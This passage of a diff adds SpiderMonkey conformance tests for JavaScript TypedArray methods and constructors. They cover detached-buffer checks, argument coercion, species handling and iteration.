--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-not-callable.js
@@ -0,0 +1,10 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertThrowsInstanceOf(() => constructor(), TypeError);
+ assertThrowsInstanceOf(() => constructor(1), TypeError);
+ assertThrowsInstanceOf(() => constructor.call(null), TypeError);
+ assertThrowsInstanceOf(() => constructor.apply(null, []), TypeError);
+ assertThrowsInstanceOf(() => Reflect.apply(constructor, null, []), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-undefined-args.js b/js/src/tests/ecma_6/TypedArray/constructor-undefined-args.js
new file mode 100644
index 000000000..91a557a2c
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-undefined-args.js
@@ -0,0 +1,14 @@
+// Bug 1040402
+
+var ab = new ArrayBuffer(16);
+
+assertEq(new Int32Array(ab).length, 4);
+assertEq(new Int32Array(ab, undefined).length, 4);
+assertEq(new Int32Array(ab, undefined, undefined).length, 4);
+assertEq(new Int32Array(ab, 0).length, 4);
+assertEq(new Int32Array(ab, 0, undefined).length, 4);
+assertEq(new Int32Array(ab, 4).length, 3);
+assertEq(new Int32Array(ab, 4, undefined).length, 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor_bad-args.js b/js/src/tests/ecma_6/TypedArray/constructor_bad-args.js
new file mode 100644
index 000000000..00bbf884c
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor_bad-args.js
@@ -0,0 +1,13 @@
+// Bug 1227207
+
+var AB = new ArrayBuffer(12); // Length divides 4
+var BC = new ArrayBuffer(14); // Length does not divide 4
+
+assertThrowsInstanceOf(() => new Int32Array(AB, -1), RangeError); // 22.2.4.5 #8
+assertThrowsInstanceOf(() => new Int32Array(AB, 2), RangeError); // 22.2.4.5 #10
+assertThrowsInstanceOf(() => new Int32Array(BC), RangeError); // 22.2.4.5 #13.a
+assertThrowsInstanceOf(() => new Int32Array(AB, 16), RangeError); // 22.2.4.5 #13.c
+assertThrowsInstanceOf(() => new Int32Array(AB, 0, 4), RangeError); // 22.2.4.5 #14.c
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/detached-array-buffer-checks.js b/js/src/tests/ecma_6/TypedArray/detached-array-buffer-checks.js
new file mode 100644
index 000000000..76a00d886
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/detached-array-buffer-checks.js
@@ -0,0 +1,109 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs detachArrayBuffer
+
+// Nearly every %TypedArray%.prototype method should throw a TypeError when called
+// atop a detached array buffer. Here we check verify that this holds true for
+// all relevant functions.
+let buffer = new ArrayBuffer(32);
+let array = new Int32Array(buffer);
+detachArrayBuffer(buffer);
+
+// A nice poisoned callable to ensure that we fail on a detached buffer check
+// before a method attempts to do anything with its arguments.
+var POISON = (function() {
+ var internalTarget = {};
+ var throwForAllTraps =
+ new Proxy(internalTarget, { get(target, prop, receiver) {
+ assertEq(target, internalTarget);
+ assertEq(receiver, throwForAllTraps);
+ throw "FAIL: " + prop + " trap invoked";
+ }});
+ return new Proxy(throwForAllTraps, throwForAllTraps);
+});
+
+
+assertThrowsInstanceOf(() => {
+ array.copyWithin(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.entries();
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.fill(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.filter(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.find(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.findIndex(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.forEach(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.indexOf(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.includes(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.join(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.keys();
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.lastIndexOf(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.map(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.reduce(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.reduceRight(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.reverse();
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.slice(POISON, POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.some(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.values();
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.every(POISON);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ array.sort(POISON);
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/element-setting-converts-using-ToNumber.js b/js/src/tests/ecma_6/TypedArray/element-setting-converts-using-ToNumber.js
new file mode 100644
index 000000000..8cfef6769
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/element-setting-converts-using-ToNumber.js
@@ -0,0 +1,90 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'element-setting-converts-using-ToNumber.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 985733;
+var summary =
+ "Typed array element-setting should convert to target type using ToNumber "
+ "followed by an element-type-specific truncation function";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+anyTypedArrayConstructors.forEach(function(TypedArray) {
+ var ta = new TypedArray(1);
+ assertEq(ta[0], 0);
+
+ var count = 0;
+ function setToObject()
+ {
+ for (var i = 0; i < 1e4; i++)
+ {
+ assertEq(count, i);
+ ta[0] = { valueOf: function() { count++; return 17; } };
+ }
+ }
+ setToObject();
+ assertEq(count, 1e4);
+ assertEq(ta[0], 17);
+
+ function setToString()
+ {
+ for (var i = 0; i < 2e4; i++)
+ ta[0] = "17.0000000000000000000000000000000000000000000000000000001";
+ }
+ setToString();
+ assertEq(ta[0], 17);
+
+ count = 0;
+ var arrayConstructed =
+ new TypedArray([{ valueOf: function() { count++; return 17; } },
+ "17.0000000000000000000000000000000000000000000000000001"]);
+ assertEq(count, 1);
+ assertEq(arrayConstructed[0], 17);
+ assertEq(arrayConstructed[1], 17);
+
+ count = 0;
+ var arraySet = new TypedArray(5);
+ arraySet.set({ 0: 17,
+ 1: "17.000000000000000000000000000000000000000000000000000",
+ get 2() {
+ return { valueOf: undefined,
+ toString: function() { count++; return 42; } };
+ },
+ get 3() { return true; },
+ set 3(v) { throw "FAIL"; },
+ 4: { valueOf: function() { count++; return 127; } },
+ length: 5 });
+ assertEq(count, 2);
+ assertEq(arraySet[0], 17);
+ assertEq(arraySet[1], 17);
+ assertEq(arraySet[2], 42);
+ assertEq(arraySet[3], 1);
+ assertEq(arraySet[4], 127);
+
+ var bigLen = 1e4;
+ var big = new TypedArray(bigLen);
+ function initBig()
+ {
+ for (var i = 0; i < bigLen; i++)
+ big[i] = (i % 2) ? 3 : { valueOf: function() { return 3; } };
+ }
+ initBig();
+ for (var i = 0; i < bigLen; i++)
+ {
+ assertEq(big[i], 3,
+ "(" + Object.prototype.toString.call(big) + ")");
+ }
+});
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/TypedArray/entries.js b/js/src/tests/ecma_6/TypedArray/entries.js
new file mode 100644
index 000000000..c55a959e3
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/entries.js
@@ -0,0 +1,38 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.entries.length, 0);
+ assertEq(constructor.prototype.entries.name, "entries");
+
+ assertDeepEq([...new constructor(0).entries()], []);
+ assertDeepEq([...new constructor(1).entries()], [[0, 0]]);
+ assertDeepEq([...new constructor(2).entries()], [[0, 0], [1, 0]]);
+ assertDeepEq([...new constructor([15]).entries()], [[0, 15]]);
+
+ var arr = new constructor([1, 2, 3]);
+ var iterator = arr.entries();
+ assertDeepEq(iterator.next(), {value: [0, 1], done: false});
+ assertDeepEq(iterator.next(), {value: [1, 2], done: false});
+ assertDeepEq(iterator.next(), {value: [2, 3], done: false});
+ assertDeepEq(iterator.next(), {value: undefined, done: true});
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var otherGlobal = newGlobal();
+ var entries = otherGlobal[constructor.name].prototype.entries;
+ assertDeepEq([...entries.call(new constructor(2))],
+ [new otherGlobal.Array(0, 0), new otherGlobal.Array(1, 0)]);
+ arr = new (newGlobal()[constructor.name])(2);
+ assertEq([...constructor.prototype.entries.call(arr)].toString(), "0,0,1,0");
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.entries.call(invalidReceiver);
+ }, TypeError, "Assert that entries fails if this value is not a TypedArray");
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/every-and-some.js b/js/src/tests/ecma_6/TypedArray/every-and-some.js
new file mode 100644
index 000000000..940ac736f
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/every-and-some.js
@@ -0,0 +1,249 @@
+// Tests for TypedArray#every.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.every.length, 1);
+
+ // Basic tests.
+ assertEq(new constructor([1, 3, 5]).every(v => v % 2), true);
+ assertEq(new constructor([1, 3, 5]).every(v => v > 2), false);
+ assertEq(new constructor(10).every(v => v === 0), true);
+ assertEq(new constructor().every(v => v > 1), true);
+
+ var arr = new constructor([1, 2, 3, 4, 5]);
+ var sum = 0;
+ var count = 0;
+ assertEq(arr.every((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ return v < 3;
+ }), false);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ assertEq(arr.every(function() {
+ assertDeepEq(this, thisValue);
+ return true;
+ }, thisArg), true);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ assertEq(arr.every(function() {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return true;
+ }, thisArg), true);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ assertEq(arr.every(() => {
+ assertEq(this, self);
+ return true;
+ }, thisArg), true);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ arr.every((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ if (v === 3) {
+ throw "every";
+ }
+ return true
+ })
+ } catch(e) {
+ assertEq(e, "every");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.every();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.every(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.every(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var every = newGlobal()[constructor.name].prototype.every;
+ var sum = 0;
+ assertEq(every.call(new constructor([1, 2, 3]), v => sum += v), true);
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.every.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that every fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).every(() => true), true);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertEq(new constructor([undefined, , NaN]).every(v => Object.is(v, NaN)), true);
+}
+
+// Tests for TypedArray#some.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.some.length, 1);
+
+ // Basic tests.
+ assertEq(new constructor([1, 2, 3]).some(v => v % 2), true);
+ assertEq(new constructor([0, 2, 4]).some(v => v % 2), false);
+ assertEq(new constructor([1, 3, 5]).some(v => v > 2), true);
+ assertEq(new constructor([1, 3, 5]).some(v => v < 0), false);
+ assertEq(new constructor(10).some(v => v !== 0), false);
+ assertEq(new constructor().some(v => v > 1), false);
+
+ var arr = new constructor([1, 2, 3, 4, 5]);
+ var sum = 0;
+ var count = 0;
+ assertEq(arr.some((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ return v > 2;
+ }), true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ assertEq(arr.some(function() {
+ assertDeepEq(this, thisValue);
+ return false;
+ }, thisArg), false);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ assertEq(arr.some(function() {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return false;
+ }, thisArg), false);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ assertEq(arr.some(() => {
+ assertEq(this, self);
+ return false;
+ }, thisArg), false);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ arr.some((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ if (v === 3) {
+ throw "some";
+ }
+ return false
+ })
+ } catch(e) {
+ assertEq(e, "some");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.some();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.some(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.some(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var some = newGlobal()[constructor.name].prototype.some;
+ var sum = 0;
+ assertEq(some.call(new constructor([1, 2, 3]), v => {
+ sum += v;
+ return false;
+ }), false);
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.some.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that some fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).some(() => false), false);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertEq(new constructor([undefined, , NaN]).some(v => v === v), false);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/fill.js b/js/src/tests/ecma_6/TypedArray/fill.js
new file mode 100644
index 000000000..4349da06a
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/fill.js
@@ -0,0 +1,65 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertDeepEq(constructor.prototype.fill.length, 1);
+
+ assertDeepEq(new constructor([]).fill(1), new constructor([]));
+ assertDeepEq(new constructor([1,1,1]).fill(2), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1, 2), new constructor([1,2,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -2), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -2, -1), new constructor([1,2,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, undefined), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, undefined, undefined), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1, undefined), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, undefined, 1), new constructor([2,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 2, 1), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -1, 1), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -2, 1), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1, -2), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.1), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.9), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 1.1), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.1, 0.9), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.1, 1.9), new constructor([2,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0.1, 1.9), new constructor([2,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, -0), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0, -0), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, NaN), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0, NaN), new constructor([1,1,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, false), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, true), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, "0"), new constructor([2,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, "1"), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, "-2"), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, "-2", "-1"), new constructor([1,2,1]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, {valueOf: ()=>1}), new constructor([1,2,2]));
+ assertDeepEq(new constructor([1,1,1]).fill(2, 0, {valueOf: ()=>1}), new constructor([2,1,1]));
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var fill = newGlobal()[constructor.name].prototype.fill;
+ assertDeepEq(fill.call(new constructor([3, 2, 1]), 2), new constructor([2, 2, 2]));
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.fill.call(invalidReceiver, 1);
+ }, TypeError);
+ });
+
+ // Test that the length getter is never called.
+ Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).fill(1);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertDeepEq(new constructor([0, 0]).fill(NaN), new constructor([NaN, NaN]));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/filter-species.js b/js/src/tests/ecma_6/TypedArray/filter-species.js
new file mode 100644
index 000000000..2de4e254e
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/filter-species.js
@@ -0,0 +1,56 @@
+function test(constructor, constructor2, from=[1, 2, 3, 4, 5], to=[2, 4]) {
+ var modifiedConstructor = new constructor(from);
+ modifiedConstructor.constructor = constructor2;
+ assertDeepEq(modifiedConstructor.filter(x => x % 2 == 0), new constructor2(to));
+ var modifiedSpecies = new constructor(from);
+ modifiedSpecies.constructor = { [Symbol.species]: constructor2 };
+ assertDeepEq(modifiedSpecies.filter(x => x % 2 == 0), new constructor2(to));
+}
+
+// same size, same sign
+
+test(Int8Array, Uint8Array);
+test(Int8Array, Uint8ClampedArray);
+
+test(Uint8Array, Int8Array);
+test(Uint8Array, Uint8ClampedArray);
+
+test(Uint8ClampedArray, Int8Array);
+test(Uint8ClampedArray, Uint8Array);
+
+test(Int16Array, Uint16Array);
+test(Uint16Array, Int16Array);
+
+test(Int32Array, Uint32Array);
+test(Uint32Array, Int32Array);
+
+// same size, different sign
+
+test(Int8Array, Uint8Array, [-1, -2, -3, -4, -5], [0xFE, 0xFC]);
+test(Int8Array, Uint8ClampedArray, [-1, -2, -3, -4, -5], [0, 0]);
+
+test(Uint8Array, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-2, -4]);
+test(Uint8ClampedArray, Int8Array, [0xFF, 0xFE, 0xFD, 0xFC, 0xFB], [-2, -4]);
+
+test(Int16Array, Uint16Array, [-1, -2, -3, -4, -5], [0xFFFE, 0xFFFC]);
+test(Uint16Array, Int16Array, [0xFFFF, 0xFFFE, 0xFFFD, 0xFFFC, 0xFFFB], [-2, -4]);
+
+test(Int32Array, Uint32Array, [-1, -2, -3, -4, -5], [0xFFFFFFFE, 0xFFFFFFFC]);
+test(Uint32Array, Int32Array, [0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFC, 0xFFFFFFFB], [-2, -4]);
+
+// different size
+
+test(Uint8Array, Uint16Array);
+test(Uint16Array, Uint8Array);
+
+test(Uint8Array, Uint32Array);
+test(Uint32Array, Uint8Array);
+
+test(Uint16Array, Uint32Array);
+test(Uint32Array, Uint16Array);
+
+test(Float32Array, Float64Array);
+test(Float64Array, Float32Array);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/find-and-findIndex.js b/js/src/tests/ecma_6/TypedArray/find-and-findIndex.js
new file mode 100644
index 000000000..125ababd0
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/find-and-findIndex.js
@@ -0,0 +1,52 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1078975;
+var summary = "Implement %TypedArray%.prototype.{find, findIndex}";
+print(BUGNUMBER + ": " + summary);
+
+const methods = ["find", "findIndex"];
+
+anyTypedArrayConstructors.forEach(constructor => {
+ methods.forEach(method => {
+ var arr = new constructor([0, 1, 2, 3, 4, 5]);
+ // test that this.length is never called
+ Object.defineProperty(arr, "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ });
+ assertEq(arr[method].length, 1);
+ assertEq(arr[method](v => v === 3), 3);
+ assertEq(arr[method](v => v === 6), method === "find" ? undefined : -1);
+
+ var thisValues = [undefined, null, true, 1, "foo", [], {}];
+ if (typeof Symbol == "function")
+ thisValues.push(Symbol());
+
+ thisValues.forEach(thisArg =>
+ assertThrowsInstanceOf(() => arr[method].call(thisArg, () => true), TypeError)
+ );
+
+ assertThrowsInstanceOf(() => arr[method](), TypeError);
+ assertThrowsInstanceOf(() => arr[method](1), TypeError);
+ });
+});
+
+anyTypedArrayConstructors.filter(isFloatConstructor).forEach(constructor => {
+ var arr = new constructor([-0, 0, 1, 5, NaN, 6]);
+ assertEq(arr.find(v => Number.isNaN(v)), NaN);
+ assertEq(arr.findIndex(v => Number.isNaN(v)), 4);
+
+ assertEq(arr.find(v => Object.is(v, 0)), 0);
+ assertEq(arr.findIndex(v => Object.is(v, 0)), 1);
+
+ assertEq(arr.find(v => Object.is(v, -0)), -0);
+ assertEq(arr.findIndex(v => Object.is(v, -0)), 0);
+})
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/forEach.js b/js/src/tests/ecma_6/TypedArray/forEach.js
new file mode 100644
index 000000000..9daa690e2
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/forEach.js
@@ -0,0 +1,93 @@
+// Tests for TypedArray#forEach
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.forEach.length, 1);
+
+ var arr = new constructor([1, 2, 3, 4, 5]);
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ arr.forEach(function() {
+ assertDeepEq(this, thisValue);
+ return false;
+ }, thisArg);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ arr.forEach(function() {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return false;
+ }, thisArg);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ arr.forEach(() => {
+ assertEq(this, self);
+ return false;
+ }, thisArg);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ assertEq(arr.forEach((v) => {
+ count++;
+ sum += v;
+ if (v === 3) {
+ throw "forEach";
+ }
+ }), undefined)
+ } catch(e) {
+ assertEq(e, "forEach");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.forEach();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.forEach(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.forEach(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var forEach = newGlobal()[constructor.name].prototype.forEach;
+ var sum = 0;
+ forEach.call(new constructor([1, 2, 3]), v => {
+ sum += v;
+ });
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.forEach.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that some fails if this value is not a TypedArray");
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/from_basics.js b/js/src/tests/ecma_6/TypedArray/from_basics.js
new file mode 100644
index 000000000..9f53feb72
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/from_basics.js
@@ -0,0 +1,42 @@
+for (var constructor of anyTypedArrayConstructors) {
+ // 'from' method is identical for all typed array constructors.
+ assertEq(anyTypedArrayConstructors[0].from === constructor.from, true);
+
+ // %TypedArray%.from copies arrays.
+ var src = new constructor([1, 2, 3]), copy = constructor.from(src);
+ assertEq(copy === src, false);
+ assertEq(copy instanceof constructor, true);
+ assertDeepEq(copy, src);
+
+ // Non-element properties are not copied.
+ var a = new constructor([0, 1]);
+ a.name = "lisa";
+ assertDeepEq(constructor.from(a), new constructor([0, 1]));
+
+ // %TypedArray%.from can copy non-iterable objects, if they're array-like.
+ src = {0: 0, 1: 1, length: 2};
+ copy = constructor.from(src);
+ assertEq(copy instanceof constructor, true);
+ assertDeepEq(copy, new constructor([0, 1]));
+
+ // Properties past the .length are not copied.
+ src = {0: "0", 1: "1", 2: "two", 9: "nine", name: "lisa", length: 2};
+ assertDeepEq(constructor.from(src), new constructor([0, 1]));
+
+ // If an object has neither an @@iterator method nor .length,
+ // then it's treated as zero-length.
+ assertDeepEq(constructor.from({}), new constructor());
+
+ // Primitives will be coerced to primitive wrapper first.
+ assertDeepEq(constructor.from(1), new constructor());
+ assertDeepEq(constructor.from("123"), new constructor([1, 2, 3]));
+ assertDeepEq(constructor.from(true), new constructor());
+ assertDeepEq(constructor.from(Symbol()), new constructor());
+
+ // Source object property order doesn't matter.
+ src = {length: 2, 1: "1", 0: "0"};
+ assertDeepEq(constructor.from(src), new constructor([0, 1]));
+}
+
+if (typeof reportCompare === "function")
